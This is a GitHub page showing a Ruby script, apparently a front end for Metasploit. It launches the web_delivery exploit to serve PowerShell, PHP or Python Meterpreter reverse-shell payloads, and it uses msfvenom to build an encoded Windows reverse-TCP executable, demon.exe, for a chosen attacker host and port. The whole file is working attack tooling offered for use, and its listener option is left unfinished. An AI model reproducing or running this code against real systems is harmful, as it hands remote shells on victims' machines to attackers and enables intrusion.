forked from demonsec666/secist_GUI
-
Notifications
You must be signed in to change notification settings - Fork 0
/
secist_tools.rb
executable file
·110 lines (100 loc) · 3.95 KB
/
secist_tools.rb
1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
47
48
49
50
51
52
53
54
55
56
57
58
59
60
61
62
63
64
65
66
67
68
69
70
71
72
73
74
75
76
77
78
79
80
81
82
83
84
85
86
87
88
89
90
91
92
93
94
95
96
97
98
99
100
101
102
103
104
105
106
107
108
109
110
#!/usr/bin/env ruby
# -*- coding: UTF-8 -*-
require 'optparse'
require 'colorize'
require 'artii'
class Msf
def clear
system "clear"
system "service postgresql start"
end
end
msf = Msf.new
msf.clear
#system clear
a = Artii::Base.new :font => 'basic'
puts a.asciify(' secist').light_red
puts " -- -- +=[(c) 2017 | www.ggsec.cn | www.secist.com | Demon"
puts " "
puts " /==========================########========================\\"
puts " | # v1.0 |"
puts " | 版本框架整改1.0 |"
puts " |———————————#—————————————————#——————————————————#—————————|"
puts " | Demon 2017 |"
puts " \\==========================================================/"
puts " "
options = {}
optparse = OptionParser.new do |opts|
# 命令行参数解析器,他们通常提供一种方式来显示帮助消息,当没有提供参数或参数错误。
puts ""
puts ""
opts.banner = " 欢迎使用 secist_tools.rb [参数信息]"
opts.separator ""
options[:lhost] = "0.0.0.0"
options[:lport] = "4444"
options[:payload] = "windows/meterpreter/reverse_tcp"
options[:target] = "powershell"
#定义了默认值
#opts.on('-m', '--msf', 'metasploit ') do
# 这个部分就是使用这个Option后执行的代码
#msf.clear
#system "msfconsole"
#end
$ip = options[:lhost]
$port = options[:lport]
$payload = options[:payload]
$target = options[:target]
# Option 作为 flag,带argument,用于将argument作为数值解析,比如"name"信息
#下面的“value”就是用户使用时输入的argument
# Option 作为 flag,带一组用逗号分割的arguments,用于将arguments作为数组解析
opts.on('-m', '--payload VALUE', "payload to use|default = windows/meterpreter/reverse_tcp") do |m|
options[:payload] = m
end
# 设置payload参数
opts.on('-i', '--lhost VALUE', "ip_addr|default = 0.0.0.0") do |i|
options[:lhost] = i
end
# 设置ip参数
opts.on('-p', '--lport VALUE', "port_number|default = 4444") do |p|
options[:lport] = p
end
# 设置端口参数
opts.on( '--powershell', "msf_web_delivery: powershell ") do
$ip = options[:lhost]
$port = options[:lport]
system("service postgresql start")
system(" msfconsole -x 'use exploit/multi/script/web_delivery;\n set PAYLOAD windows/meterpreter/reverse_tcp;\n set TARGET 2;\n set LHOST #{$ip};\n set LPORT #{$port};\n set URIPATH /;\n run'")
end
opts.on( '--php', "msf_web_delivery: php") do
$ip = options[:lhost]
$port = options[:lport]
system("service postgresql start")
system(" msfconsole -x 'use exploit/multi/script/web_delivery;\n set PAYLOAD php/meterpreter/reverse_tcp;\n set TARGET 1;\n set LHOST #{$ip};\n set LPORT #{$port};\n set URIPATH /;\n run'")
end
opts.on( '--python', "msf_web_delivery: python ") do
$ip = options[:lhost]
$port = options[:lport]
system("service postgresql start")
system(" msfconsole -x 'use exploit/multi/script/web_delivery;\n set LHOST #{$ip};\n set LPORT #{$port};\n set URIPATH /;\n run'")
end
opts.on('-l','--msfvenom VALUE', "msfvenom output : exe ") do
system(" msfvenom -p windows/meterpreter/reverse_tcp -e x86/shikata_ga_nai -i 5 -b ‘\\x00’ LHOST=#{$ip} LPORT=#{$port} -f exe > demon.exe")
puts "\n[*] Would you like to start a listener? (Y/n)".yellow
msfconsole = gets.chomp
if msfconsole == 'Y' || msfconsole == 'yes'|| msfconsole == 'y'
puts "1"
end
end
opts.separator ""
end
if ARGV.empty?
puts optparse
exit
else
optparse.parse!
end
puts options.inspect
# $ip = options[:lhost]
# $port = options[:lport]
# $payload = options[:payload]
# $target = options[:target]